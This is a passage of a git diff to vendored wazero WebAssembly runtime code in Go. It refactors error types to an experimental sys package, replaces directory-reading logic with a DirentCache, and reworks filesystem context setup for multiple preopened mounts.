syscall.ENOSYS -} - -// Readdir implements File.Readdir -func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno syscall.Errno) { - return nil, syscall.ENOSYS +func (unimplementedFile) SetNonblock(bool) experimentalsys.Errno { + return experimentalsys.ENOSYS } -// PollRead implements File.PollRead -func (UnimplementedFile) PollRead(*time.Duration) (ready bool, errno syscall.Errno) { - return false, syscall.ENOSYS +// Poll implements File.Poll +func (unimplementedFile) Poll(Pflag, int32) (ready bool, errno experimentalsys.Errno) { + return false, experimentalsys.ENOSYS } - -// Write implements File.Write -func (UnimplementedFile) Write([]byte) (int, syscall.Errno) { - return 0, syscall.ENOSYS -} - -// Pwrite implements File.Pwrite -func (UnimplementedFile) Pwrite([]byte, int64) (int, syscall.Errno) { - return 0, syscall.ENOSYS -} - -// Truncate implements File.Truncate -func (UnimplementedFile) Truncate(int64) syscall.Errno { - return syscall.ENOSYS -} - -// Sync implements File.Sync -func (UnimplementedFile) Sync() syscall.Errno { - return 0 // not syscall.ENOSYS -} - -// Datasync implements File.Datasync -func (UnimplementedFile) Datasync() syscall.Errno { - return 0 // not syscall.ENOSYS -} - -// Chmod implements File.Chmod -func (UnimplementedFile) Chmod(fs.FileMode) syscall.Errno { - return syscall.ENOSYS -} - -// Chown implements File.Chown -func (UnimplementedFile) Chown(int, int) syscall.Errno { - return syscall.ENOSYS -} - -// Utimens implements File.Utimens -func (UnimplementedFile) Utimens(*[2]syscall.Timespec) syscall.Errno { - return syscall.ENOSYS -} - -// Close implements File.Close -func (UnimplementedFile) Close() (errno syscall.Errno) { return } diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/errno.go b/vendor/github.com/tetratelabs/wazero/internal/platform/errno.go deleted file mode 100644 index 43e0342690..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/errno.go +++ /dev/null @@ -1,9 +0,0 @@ -//go:build !windows - -package platform - -import "syscall" - -func adjustErrno(err syscall.Errno) syscall.Errno { - return err -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/errno_windows.go b/vendor/github.com/tetratelabs/wazero/internal/platform/errno_windows.go deleted file mode 100644 index d07e10cb3c..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/errno_windows.go +++ /dev/null @@ -1,72 +0,0 @@ -package platform - -import "syscall" - -// See https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499- -const ( - // ERROR_ACCESS_DENIED is a Windows error returned by syscall.Unlink - // instead of syscall.EACCES - ERROR_ACCESS_DENIED = syscall.Errno(5) - - // ERROR_INVALID_HANDLE is a Windows error returned by syscall.Write - // instead of syscall.EBADF - ERROR_INVALID_HANDLE = syscall.Errno(6) - - // ERROR_FILE_EXISTS is a Windows error returned by os.OpenFile - // instead of syscall.EEXIST - ERROR_FILE_EXISTS = syscall.Errno(0x50) - - // ERROR_INVALID_NAME is a Windows error returned by open when a file - // path has a trailing slash - ERROR_INVALID_NAME = syscall.Errno(0x7B) - - // ERROR_NEGATIVE_SEEK is a Windows error returned by os.Truncate - // instead of syscall.EINVAL - ERROR_NEGATIVE_SEEK = syscall.Errno(0x83) - - // ERROR_DIR_NOT_EMPTY is a Windows error returned by syscall.Rmdir - // instead of syscall.ENOTEMPTY - ERROR_DIR_NOT_EMPTY = syscall.Errno(0x91) - - // ERROR_ALREADY_EXISTS is a Windows error returned by os.Mkdir - // instead of syscall.EEXIST - ERROR_ALREADY_EXISTS = syscall.Errno(0xB7) - - // ERROR_DIRECTORY is a Windows error returned by syscall.Rmdir - // instead of syscall.ENOTDIR - ERROR_DIRECTORY = syscall.Errno(0x10B) -) - -// See https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--1300-1699- -const ( - // ERROR_PRIVILEGE_NOT_HELD is a Windows error returned by os.Symlink - // instead of syscall.EPERM. - // - // Note: This can happen when trying to create symlinks w/o admin perms. - ERROR_PRIVILEGE_NOT_HELD = syscall.Errno(0x522) -) - -func adjustErrno(err syscall.Errno) syscall.Errno { - // Note: In windows, ERROR_PATH_NOT_FOUND(0x3) maps to syscall.ENOTDIR - switch err { - case ERROR_ALREADY_EXISTS: - return syscall.EEXIST - case ERROR_DIRECTORY: - return syscall.ENOTDIR - case ERROR_DIR_NOT_EMPTY: - return syscall.ENOTEMPTY - case ERROR_FILE_EXISTS: - return syscall.EEXIST - case ERROR_INVALID_HANDLE: - return syscall.EBADF - case ERROR_ACCESS_DENIED: - // POSIX read and write functions expect EBADF, not EACCES when not - // open for reading or writing. - return syscall.EBADF - case ERROR_PRIVILEGE_NOT_HELD: - return syscall.EPERM - case ERROR_NEGATIVE_SEEK, ERROR_INVALID_NAME: - return syscall.EINVAL - } - return err -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go deleted file mode 100644 index 0e8a13d5c6..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go +++ /dev/null @@ -1,23 +0,0 @@ -package platform - -// Set adds the given fd to the set. -func (f *FdSet) Set(fd int) { - f.Bits[fd/nfdbits] |= (1 << (uintptr(fd) % nfdbits)) -} - -// Clear removes the given fd from the set. -func (f *FdSet) Clear(fd int) { - f.Bits[fd/nfdbits] &^= (1 << (uintptr(fd) % nfdbits)) -} - -// IsSet returns true when fd is in the set. -func (f *FdSet) IsSet(fd int) bool { - return f.Bits[fd/nfdbits]&(1<<(uintptr(fd)%nfdbits)) != 0 -} - -// Zero clears the set. -func (f *FdSet) Zero() { - for i := range f.Bits { - f.Bits[i] = 0 - } -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go deleted file mode 100644 index da52339cbc..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go +++ /dev/null @@ -1,8 +0,0 @@ -package platform - -import "syscall" - -const nfdbits = 0x20 - -// FdSet re-exports syscall.FdSet with utility methods. -type FdSet syscall.FdSet diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go deleted file mode 100644 index f392caf4c1..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go +++ /dev/null @@ -1,8 +0,0 @@ -package platform - -import "syscall" - -const nfdbits = 0x40 - -// FdSet re-exports syscall.FdSet with utility methods. -type FdSet syscall.FdSet diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go deleted file mode 100644 index b5aa3c1561..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go +++ /dev/null @@ -1,10 +0,0 @@ -//go:build !darwin && !linux - -package platform - -const nfdbits = 0x40 - -// FdSet mocks syscall.FdSet on systems that do not support it. -type FdSet struct { - Bits [16]int64 -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/mmap_other.go b/vendor/github.com/tetratelabs/wazero/internal/platform/mmap_other.go index 620cdd3c65..ed5c40a4dc 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/mmap_other.go +++ b/vendor/github.com/tetratelabs/wazero/internal/platform/mmap_other.go @@ -1,4 +1,4 @@ -// This uses syscall.Mprotect. Go's SDK only supports this on darwin and linux. +// Separated from linux which has support for huge pages. //go:build darwin || freebsd package platform diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/platform.go b/vendor/github.com/tetratelabs/wazero/internal/platform/platform.go index 267db88098..508b89f22a 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/platform.go +++ b/vendor/github.com/tetratelabs/wazero/internal/platform/platform.go @@ -5,12 +5,17 @@ package platform import ( + "regexp" "runtime" - "strings" ) -// TODO: IsAtLeastGo120 -var IsGo120 = strings.Contains(runtime.Version(), "go1.20") +// IsAtLeastGo120 checks features added in 1.20. We can remove this when Go +// 1.22 is out. +var IsAtLeastGo120 = isAtLeastGo120(runtime.Version()) + +func isAtLeastGo120(version string) bool { + return regexp.MustCompile("go1.[2-9][0-9][^0-9]").MatchString(version) +} // archRequirementsVerified is set by platform-specific init to true if the platform is supported var archRequirementsVerified bool diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go index 6c0be1516b..ca17aa39ee 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go @@ -3,26 +3,27 @@ package sock import ( "fmt" "net" - "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) // TCPSock is a pseudo-file representing a TCP socket. type TCPSock interface { - fsapi.File + sys.File - Accept() (TCPConn, syscall.Errno) + Accept() (TCPConn, sys.Errno) } // TCPConn is a pseudo-file representing a TCP connection. type TCPConn interface { - fsapi.File + sys.File // Recvfrom only supports the flag sysfs.MSG_PEEK - Recvfrom(p []byte, flags int) (n int, errno syscall.Errno) + // TODO: document this like sys.File with known sys.Errno + Recvfrom(p []byte, flags int) (n int, errno sys.Errno) - Shutdown(how int) syscall.Errno + // TODO: document this like sys.File with known sys.Errno + Shutdown(how int) sys.Errno } // ConfigKey is a context.Context Value key. Its associated value should be a Config. diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go new file mode 100644 index 0000000000..30cdb9f926 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go @@ -0,0 +1,11 @@ +//go:build !plan9 && !js + +package sock + +import "syscall" + +const ( + SHUT_RD = syscall.SHUT_RD + SHUT_RDWR = syscall.SHUT_RDWR + SHUT_WR = syscall.SHUT_WR +) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go new file mode 100644 index 0000000000..76ec031efa --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go @@ -0,0 +1,10 @@ +//go:build plan9 || js + +package sock + +// plan9/js doesn't declare these constants +const ( + SHUT_RD = 1 << iota + SHUT_WR + SHUT_RDWR = SHUT_RD | SHUT_WR +) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go b/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go index 3f1eb6e545..332a952626 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go @@ -4,12 +4,10 @@ import ( "io" "io/fs" "net" - "path" - "syscall" + "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/descriptor" "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" socketapi "github.com/tetratelabs/wazero/internal/sock" "github.com/tetratelabs/wazero/internal/sysfs" ) @@ -50,334 +48,267 @@ type FileEntry struct { IsPreopen bool // FS is the filesystem associated with the pre-open. - FS fsapi.FS + FS sys.FS // File is always non-nil. File fsapi.File -} - -const direntBufSize = 16 - -// Readdir is the status of a prior fs.ReadDirFile call. -type Readdir struct { - // cursor is the current position in the buffer. - cursor uint64 - // countRead is the total count of files read including Dirents. - // - // Notes: - // - // * countRead is the index of the next file in the list. This is - // also the value that Cookie returns, so it should always be - // higher or equal than the cookie given in Rewind. - // - // * this can overflow to negative, which means our implementation - // doesn't support writing greater than max int64 entries. - // countRead uint64 - countRead uint64 - - // dirents is a fixed buffer of size direntBufSize. Notably, - // directory listing are not rewindable, so we keep entries around in case - // the caller mis-estimated their buffer and needs a few still cached. - // - // Note: This is wasi-specific and needs to be refactored. - // In wasi preview1, dot and dot-dot entries are required to exist, but the - // reverse is true for preview2. More importantly, preview2 holds separate - // stateful dir-entry-streams per file. - dirents []fsapi.Dirent - - // dirInit seeks and reset the provider for dirents to the beginning - // and returns an initial batch (e.g. dot directories). - dirInit func() ([]fsapi.Dirent, syscall.Errno) - - // dirReader fetches a new batch of direntBufSize elements. - dirReader func(n uint64) ([]fsapi.Dirent, syscall.Errno) + // direntCache is nil until DirentCache was called. + direntCache *DirentCache } -// NewReaddir is a constructor for Readdir. It takes a dirInit -func NewReaddir( - dirInit func() ([]fsapi.Dirent, syscall.Errno), - dirReader func(n uint64) ([]fsapi.Dirent, syscall.Errno), -) (*Readdir, syscall.Errno) { - d := &Readdir{dirReader: dirReader, dirInit: dirInit} - return d, d.init() -} - -// init resets the cursor and invokes the dirInit, dirReader -// methods to reset the internal state of the Readdir struct. +// DirentCache gets or creates a DirentCache for this file or returns an error. // -// Note: this is different from Reset, because it will not short-circuit -// when cursor is already 0, but it will force an unconditional reload. -func (d *Readdir) init() syscall.Errno { - d.cursor = 0 - d.countRead = 0 - // Reset the buffer to the initial state. - initialDirents, errno := d.dirInit() - if errno != 0 { - return errno - } - if len(initialDirents) > direntBufSize { - return syscall.EINVAL - } - d.dirents = initialDirents - // Fill the buffer with more data. - count := direntBufSize - len(initialDirents) - if count == 0 { - // No need to fill up the buffer further. - return 0 - } - dirents, errno := d.dirReader(uint64(count)) - if errno != 0 { - return errno +// # Errors +// +// A zero sys.Errno is success. The below are expected otherwise: +// - sys.ENOSYS: the implementation does not support this function. +// - sys.EBADF: the dir was closed or not readable. +// - sys.ENOTDIR: the file was not a directory. +// +// # Notes +// +// - See /RATIONALE.md for design notes. +func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) { + if dir := f.direntCache; dir != nil { + return dir, 0 } - d.dirents = append(d.dirents, dirents...) - return 0 -} -// newReaddirFromFileEntry is a constructor for Readdir that takes a FileEntry to initialize. -func newReaddirFromFileEntry(f *FileEntry) (*Readdir, syscall.Errno) { - // Generate the dotEntries only once and return it many times in the dirInit closure. - dotEntries, errno := synthesizeDotEntries(f) - if errno != 0 { + // Require the file to be a directory vs a late error on the same. + if isDir, errno := f.File.IsDir(); errno != 0 { return nil, errno + } else if !isDir { + return nil, sys.ENOTDIR } - dirInit := func() ([]fsapi.Dirent, syscall.Errno) { - // Ensure we always rewind to the beginning when we re-init. - if _, errno := f.File.Seek(0, io.SeekStart); errno != 0 { - return nil, errno - } - // Return the dotEntries that we have already generated outside the closure. - return dotEntries, 0 + + // Generate the dotEntries only once. + if dotEntries, errno := synthesizeDotEntries(f); errno != 0 { + return nil, errno + } else { + f.direntCache = &DirentCache{f: f.File, dotEntries: dotEntries} } - dirReader := func(n uint64) ([]fsapi.Dirent, syscall.Errno) { return f.File.Readdir(int(n)) } - return NewReaddir(dirInit, dirReader) + + return f.direntCache, 0 +} + +// DirentCache is a caching abstraction of sys.File Readdir. +// +// This is special-cased for "wasi_snapshot_preview1.fd_readdir", and may be +// unneeded, or require changes, to support preview1 or preview2. +// - The position of the dirents are serialized as `d_next`. For reasons +// described below, any may need to be re-read. This accepts any positions +// in the cache, rather than track the position of the last dirent. +// - dot entries ("." and "..") must be returned. See /RATIONALE.md for why. +// - An sys.Dirent Name is variable length, it could exceed memory size and +// need to be re-read. +// - Multiple dirents may be returned. It is more efficient to read from the +// underlying file in bulk vs one-at-a-time. +// +// The last results returned by Read are cached, but entries before that +// position are not. This support re-reading entries that couldn't fit into +// memory without accidentally caching all entries in a large directory. This +// approach is sometimes called a sliding window. +type DirentCache struct { + // f is the underlying file + f sys.File + + // dotEntries are the "." and ".." entries added when the directory is + // initialized. + dotEntries []sys.Dirent + + // dirents are the potentially unread directory entries. + // + // Internal detail: nil is different from zero length. Zero length is an + // exhausted directory (eof). nil means the re-read. + dirents []sys.Dirent + + // countRead is the total count of dirents read since last rewind. + countRead uint64 + + // eof is true when the underlying file is at EOF. This avoids re-reading + // the directory when it is exhausted. Entires in an exhausted directory + // are not visible until it is rewound via calling Read with `pos==0`. + eof bool } // synthesizeDotEntries generates a slice of the two elements "." and "..". -func synthesizeDotEntries(f *FileEntry) (result []fsapi.Dirent, errno syscall.Errno) { +func synthesizeDotEntries(f *FileEntry) ([]sys.Dirent, sys.Errno) { dotIno, errno := f.File.Ino() if errno != 0 { return nil, errno } - result = append(result, fsapi.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir}) - dotDotIno := uint64(0) - if !f.IsPreopen && f.Name != "." { - if st, errno := f.FS.Stat(path.Dir(f.Name)); errno != 0 { - return nil, errno - } else { - dotDotIno = st.Ino - } - } - result = append(result, fsapi.Dirent{Name: "..", Ino: dotDotIno, Type: fs.ModeDir}) - return result, 0 + result := [2]sys.Dirent{} + result[0] = sys.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir} + // See /RATIONALE.md for why we don't attempt to get an inode for ".." and + // why in wasi-libc this won't fan-out either. + result[1] = sys.Dirent{Name: "..", Ino: 0, Type: fs.ModeDir} + return result[:], 0 } -// Reset seeks the internal cursor to 0 and refills the buffer. -func (d *Readdir) Reset() syscall.Errno { - if d.countRead == 0 { - return 0 +// exhaustedDirents avoids allocating empty slices. +var exhaustedDirents = [0]sys.Dirent{} + +// Read is similar to and returns the same errors as `Readdir` on sys.File. +// The main difference is this caches entries returned, resulting in multiple +// valid positions to read from. +// +// When zero, `pos` means rewind to the beginning of this directory. This +// implies a rewind (Seek to zero on the underlying sys.File), unless the +// initial entries are still cached. +// +// When non-zero, `pos` is the zero based index of all dirents returned since +// last rewind. Only entries beginning at `pos` are cached for subsequent +// calls. A non-zero `pos` before the cache returns sys.ENOENT for reasons +// described on DirentCache documentation. +// +// Up to `n` entries are cached and returned. When `n` exceeds the cache, the +// difference are read from the underlying sys.File via `Readdir`. EOF is +// when `len(dirents)` returned are less than `n`. +func (d *DirentCache) Read(pos uint64, n uint32) (dirents []sys.Dirent, errno sys.Errno) { + switch { + case pos > d.countRead: // farther than read or negative coerced to uint64. + return nil, sys.ENOENT + case pos == 0 && d.dirents != nil: + // Rewind if we have already read entries. This allows us to see new + // entries added after the directory was opened. + if _, errno = d.f.Seek(0, io.SeekStart); errno != 0 { + return + } + d.dirents = nil // dump cache + d.countRead = 0 } - return d.init() -} -// Skip is equivalent to calling n times Advance. -func (d *Readdir) Skip(n uint64) { - end := d.countRead + n - var err syscall.Errno = 0 - for d.countRead < end && err == 0 { - err = d.Advance() + if n == 0 { + return // special case no entries. } -} -// Cookie returns a cookie representing the current state of the ReadDir struct. -// -// Note: this returns the countRead field, but it is an implementation detail. -func (d *Readdir) Cookie() uint64 { - return d.countRead -} + if d.dirents == nil { + // Always populate dot entries, which makes min len(dirents) == 2. + d.dirents = d.dotEntries + d.countRead = 2 + d.eof = false + + if countToRead := int(n - 2); countToRead <= 0 { + return + } else if dirents, errno = d.f.Readdir(countToRead); errno != 0 { + return + } else if countRead := len(dirents); countRead > 0 { + d.eof = countRead < countToRead + d.dirents = append(d.dotEntries, dirents...) + d.countRead += uint64(countRead) + } -// Rewind seeks the internal cursor to the state represented by the cookie. -// It returns a syscall.Errno if the cursor was reset and an I/O error occurred while trying to re-init. -func (d *Readdir) Rewind(cookie int64) syscall.Errno { - unsignedCookie := uint64(cookie) - switch { - case cookie < 0 || unsignedCookie > d.countRead: - // the cookie can neither be negative nor can it be larger than countRead. - return syscall.EINVAL - case cookie == 0 && d.countRead == 0: - return 0 - case cookie == 0 && d.countRead != 0: - // This means that there was a previous call to the dir, but cookie is reset. - // This happens when the program calls rewinddir, for example: - // https://github.com/WebAssembly/wasi-libc/blob/659ff414560721b1660a19685110e484a081c3d4/libc-bottom-half/cloudlibc/src/libc/dirent/rewinddir.c#L10-L12 - return d.Reset() - case unsignedCookie < d.countRead: - if cookie/direntBufSize != int64(d.countRead)/direntBufSize { - // The cookie is not 0, but it points into a window before the current one. - return syscall.ENOSYS + return d.cachedDirents(n), 0 + } + + // Reset our cache to the first entry being read. + cacheStart := d.countRead - uint64(len(d.dirents)) + if pos < cacheStart { + // We don't currently allow reads before our cache because Seek(0) is + // the only portable way. Doing otherwise requires skipping, which we + // won't do unless wasi-testsuite starts requiring it. Implementing + // this would allow re-reading a large directory, so care would be + // needed to not buffer the entire directory in memory while skipping. + errno = sys.ENOENT + return + } else if posInCache := pos - cacheStart; posInCache != 0 { + if uint64(len(d.dirents)) == posInCache { + // Avoid allocation re-slicing to zero length. + d.dirents = exhaustedDirents[:] + } else { + d.dirents = d.dirents[posInCache:] } - // We are allowed to rewind back to a previous offset within the current window. - d.countRead = unsignedCookie - d.cursor = d.countRead % direntBufSize - return 0 - default: - // The cookie is valid. - return 0 } -} -// Peek emits the current value. -// It returns syscall.ENOENT when there are no entries left in the directory. -func (d *Readdir) Peek() (*fsapi.Dirent, syscall.Errno) { - switch { - case d.cursor == uint64(len(d.dirents)): - // We're past the buf size, fill it up again. - dirents, errno := d.dirReader(direntBufSize) - if errno != 0 { - return nil, errno + // See if we need more entries. + if countToRead := int(n) - len(d.dirents); countToRead > 0 && !d.eof { + // Try to read more, which could fail. + if dirents, errno = d.f.Readdir(countToRead); errno != 0 { + return } - d.dirents = append(d.dirents, dirents...) - fallthrough - default: // d.cursor < direntBufSize FIXME - if d.cursor == uint64(len(d.dirents)) { - return nil, syscall.ENOENT + + // Append the next read entries if we weren't at EOF. + if countRead := len(dirents); countRead > 0 { + d.eof = countRead < countToRead + d.dirents = append(d.dirents, dirents...) + d.countRead += uint64(countRead) } - dirent := &d.dirents[d.cursor] - return dirent, 0 } + + return d.cachedDirents(n), 0 } -// Advance advances the internal counters and indices to the next value. -// It also empties and refill the buffer with the next set of values when the internal cursor -// reaches the end of it. -func (d *Readdir) Advance() syscall.Errno { - if d.cursor == uint64(len(d.dirents)) { - return syscall.ENOENT +// cachedDirents returns up to `n` dirents from the cache. +func (d *DirentCache) cachedDirents(n uint32) []sys.Dirent { + direntCount := uint32(len(d.dirents)) + switch { + case direntCount == 0: + return nil + case direntCount > n: + return d.dirents[:n] } - d.cursor++ - d.countRead++ - return 0 + return d.dirents } type FSContext struct { // rootFS is the root ("/") mount. - rootFS fsapi.FS + rootFS sys.FS // openedFiles is a map of file descriptor numbers (>=FdPreopen) to open files // (or directories) and defaults to empty. // TODO: This is unguarded, so not goroutine-safe! openedFiles FileTable - - // readdirs is a map of numeric identifiers to Readdir structs - // and defaults to empty. - // TODO: This is unguarded, so not goroutine-safe! - readdirs ReaddirTable } // FileTable is a specialization of the descriptor.Table type used to map file // descriptors to file entries. type FileTable = descriptor.Table[int32, *FileEntry] -// ReaddirTable is a specialization of the descriptor.Table type used to map file -// descriptors to Readdir structs. -type ReaddirTable = descriptor.Table[int32, *Readdir] +// RootFS returns a possibly unimplemented root filesystem. Any files that +// should be added to the table should be inserted via InsertFile. +// +// TODO: This is only used by GOOS=js and tests: Remove when we remove GOOS=js +// (after Go 1.22 is released). +func (c *FSContext) RootFS() sys.FS { + if rootFS := c.rootFS; rootFS == nil { + return sys.UnimplementedFS{} + } else { + return rootFS + } +} -// RootFS returns the underlying filesystem. Any files that should be added to -// the table should be inserted via InsertFile. -func (c *FSContext) RootFS() fsapi.FS { - return c.rootFS +// LookupFile returns a file if it is in the table. +func (c *FSContext) LookupFile(fd int32) (*FileEntry, bool) { + return c.openedFiles.Lookup(fd) } // OpenFile opens the file into the table and returns its file descriptor. // The result must be closed by CloseFile or Close. -func (c *FSContext) OpenFile(fs fsapi.FS, path string, flag int, perm fs.FileMode) (int32, syscall.Errno) { +func (c *FSContext) OpenFile(fs sys.FS, path string, flag sys.Oflag, perm fs.FileMode) (int32, sys.Errno) { if f, errno := fs.OpenFile(path, flag, perm); errno != 0 { return 0, errno } else { - fe := &FileEntry{FS: fs, File: f} + fe := &FileEntry{FS: fs, File: fsapi.Adapt(f)} if path == "/" || path == "." { fe.Name = "" } else { fe.Name = path } if newFD, ok := c.openedFiles.Insert(fe); !ok { - return 0, syscall.EBADF + return 0, sys.EBADF } else { return newFD, 0 } } } -// SockAccept accepts a socketapi.TCPConn into the file table and returns -// its file descriptor. -func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, syscall.Errno) { - var sock socketapi.TCPSock - if e, ok := c.LookupFile(sockFD); !ok || !e.IsPreopen { - return 0, syscall.EBADF // Not a preopen - } else if sock, ok = e.File.(socketapi.TCPSock); !ok { - return 0, syscall.EBADF // Not a sock - } - - var conn socketapi.TCPConn - var errno syscall.Errno - if conn, errno = sock.Accept(); errno != 0 { - return 0, errno - } else if nonblock { - if errno = conn.SetNonblock(true); errno != 0 { - _ = conn.Close() - return 0, errno - } - } - - fe := &FileEntry{File: conn} - if newFD, ok := c.openedFiles.Insert(fe); !ok { - return 0, syscall.EBADF - } else { - return newFD, 0 - } -} - -// LookupFile returns a file if it is in the table. -func (c *FSContext) LookupFile(fd int32) (*FileEntry, bool) { - return c.openedFiles.Lookup(fd) -} - -// LookupReaddir returns a Readdir struct or creates an empty one if it was not present. -// -// Note: this currently assumes that idx == fd, where fd is the file descriptor of the directory. -// CloseFile will delete this idx from the internal store. In the future, idx may be independent -// of a file fd, and the idx may have to be disposed with an explicit CloseReaddir. -func (c *FSContext) LookupReaddir(idx int32, f *FileEntry) (*Readdir, syscall.Errno) { - if item, _ := c.readdirs.Lookup(idx); item != nil { - return item, 0 - } else { - item, err := newReaddirFromFileEntry(f) - if err != 0 { - return nil, err - } - ok := c.readdirs.InsertAt(item, idx) - if !ok { - return nil, syscall.EINVAL - } - return item, 0 - } -} - -// CloseReaddir delete the Readdir struct at the given index -// -// Note: Currently only necessary in tests. In the future, the idx will have to be disposed explicitly, -// unless we maintain a map fd -> []idx, and we let CloseFile close all the idx in []idx. -func (c *FSContext) CloseReaddir(idx int32) { - c.readdirs.Delete(idx) -} - // Renumber assigns the file pointed by the descriptor `from` to `to`. -func (c *FSContext) Renumber(from, to int32) syscall.Errno { +func (c *FSContext) Renumber(from, to int32) sys.Errno { fromFile, ok := c.openedFiles.Lookup(from) if !ok || to < 0 { - return syscall.EBADF + return sys.EBADF } else if fromFile.IsPreopen { - return syscall.ENOTSUP + return sys.ENOTSUP } // If toFile is already open, we close it to prevent windows lock issues. @@ -387,27 +318,60 @@ func (c *FSContext) Renumber(from, to int32) syscall.Errno { // https://github.com/bytecodealliance/wasmtime/blob/main/crates/wasi-common/src/snapshots/preview_1.rs#L531-L546 if toFile, ok := c.openedFiles.Lookup(to); ok { if toFile.IsPreopen { - return syscall.ENOTSUP + return sys.ENOTSUP } _ = toFile.File.Close() } c.openedFiles.Delete(from) if !c.openedFiles.InsertAt(fromFile, to) { - return syscall.EBADF + return sys.EBADF } return 0 } +// SockAccept accepts a sock.TCPConn into the file table and returns its file +// descriptor. +func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, sys.Errno) { + var sock socketapi.TCPSock + if e, ok := c.LookupFile(sockFD); !ok || !e.IsPreopen { + return 0, sys.EBADF // Not a preopen + } else if sock, ok = e.File.(socketapi.TCPSock); !ok { + return 0, sys.EBADF // Not a sock + } + + conn, errno := sock.Accept() + if errno != 0 { + return 0, errno + } + + fe := &FileEntry{File: fsapi.Adapt(conn)} + + if nonblock { + if errno = fe.File.SetNonblock(true); errno != 0 { + _ = conn.Close() + return 0, errno + } + } + + if newFD, ok := c.openedFiles.Insert(fe); !ok { + return 0, sys.EBADF + } else { + return newFD, 0 + } +} + // CloseFile returns any error closing the existing file. -func (c *FSContext) CloseFile(fd int32) syscall.Errno { +func (c *FSContext) CloseFile(fd int32) (errno sys.Errno) { f, ok := c.openedFiles.Lookup(fd) if !ok { - return syscall.EBADF + return sys.EBADF + } + if errno = f.File.Close(); errno != 0 { + return errno } c.openedFiles.Delete(fd) - c.readdirs.Delete(fd) - return platform.UnwrapOSError(f.File.Close()) + return errno } // Close implements io.Closer @@ -419,25 +383,19 @@ func (c *FSContext) Close() (err error) { } return true }) - // A closed FSContext cannot be reused so clear the state instead of - // using Reset. + // A closed FSContext cannot be reused so clear the state. c.openedFiles = FileTable{} - c.readdirs = ReaddirTable{} return } -// NewFSContext creates a FSContext with stdio streams and an optional -// pre-opened filesystem. -// -// If `preopened` is not UnimplementedFS, it is inserted into -// the file descriptor table as FdPreopen. -func (c *Context) NewFSContext( +// InitFSContext initializes a FSContext with stdio streams and optional +// pre-opened filesystems and TCP listeners. +func (c *Context) InitFSContext( stdin io.Reader, stdout, stderr io.Writer, - rootFS fsapi.FS, + fs []sys.FS, guestPaths []string, tcpListeners []*net.TCPListener, ) (err error) { - c.fsc.rootFS = rootFS inFile, err := stdinFileEntry(stdin) if err != nil { return err @@ -454,29 +412,63 @@ func (c *Context) NewFSContext( } c.fsc.openedFiles.Insert(errWriter) - if _, ok := rootFS.(fsapi.UnimplementedFS); ok { - // don't add to the pre-opens - } else if comp, ok := rootFS.(*sysfs.CompositeFS); ok { - preopens := comp.FS() - for i, p := range comp.GuestPaths() { - c.fsc.openedFiles.Insert(&FileEntry{ - FS: preopens[i], - Name: p, - IsPreopen: true, - File: &lazyDir{fs: rootFS}, - }) + for i, fs := range fs { + guestPath := guestPaths[i] + + if StripPrefixesAndTrailingSlash(guestPath) == "" { + // Default to bind to '/' when guestPath is effectively empty. + guestPath = "/" + c.fsc.rootFS = fs } - } else { c.fsc.openedFiles.Insert(&FileEntry{ - FS: rootFS, - Name: "/", + FS: fs, + Name: guestPath, IsPreopen: true, - File: &lazyDir{fs: rootFS}, + File: &lazyDir{fs: fs}, }) } for _, tl := range tcpListeners { - c.fsc.openedFiles.Insert(&FileEntry{IsPreopen: true, File: sysfs.NewTCPListenerFile(tl)}) + c.fsc.openedFiles.Insert(&FileEntry{IsPreopen: true, File: fsapi.Adapt(sysfs.NewTCPListenerFile(tl))}) } return nil } + +// StripPrefixesAndTrailingSlash skips any leading "./" or "/" such that the +// result index begins with another string. A result of "." 